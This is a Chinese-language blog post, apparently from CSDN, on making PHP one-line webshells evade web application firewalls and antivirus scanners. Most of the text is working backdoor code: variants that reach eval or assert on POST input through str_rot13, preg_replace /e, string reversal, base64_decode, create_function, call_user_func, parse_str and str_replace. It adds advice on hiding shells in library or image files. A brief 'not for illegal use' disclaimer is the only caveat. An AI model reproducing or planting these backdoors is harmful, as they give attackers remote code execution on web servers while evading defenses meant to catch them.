小马的免杀

一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。(仅供分享经验,不可用作非法用途)
图片来源

在这里插入图片描述
一句话木马

   <?php @eval($_POST['attack']);?>

一.先看一只有趣的小马

<?php ($b4dboy = $_POST['shell']) &&@preg_replace('/ad/e','@'.str_rot13('riny')."($shell)", 'add'); ?>

沙箱检测它是安全文件
在这里插入图片描述
用D盾查杀只是发现可以的str_rot13函数且级别只是1
在这里插入图片描述
在线检测了,免杀还是很不错的,用各种查杀软件 只有安全狗能查杀出来

小马的介绍

能过这么多杀软主要是因为利用了str_rot13函数,str_rot13(‘riny’)输出为eval,还有一个利用了preg_replace 函数,该函数结构如下

preg_replace ( mixed pattern, mixed replacement,mixed subject[, int limit])

/e修正符使preg_replace()将replacement参数当作PHP代码来执行,要保证replacement构成一个合法的PHP代码字符串,该正则在被正确的匹配到后,传入的string被当做函数来运行。
测试发现该后门可用于php版本5.3、5.4;
PHP 5.5.0起,传入"\e”修饰符的时候,会产生一个E_DEPRECATED 错误;PHP 7.0.0 起,会有E_WARNING错误,同时"\e”也无法起效。

二.马的变形

可以把webshell放在函数库文件中或者图片马中达到免杀或隐藏效果
图片马的制作:点这里

php变量
<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名assert,便可以直接用变量替代函数名。

php变量简单变形1
<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成
strtolower() 函数把字符串转换为小写。
strrev() 函数反转字符串。

自定义函数
<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数

create_function函数
<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

call_user_func()函数
<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

base64_decode 函数
<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

preg_replace函数
<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

pares_str函数
<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。

str_replace函数
<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值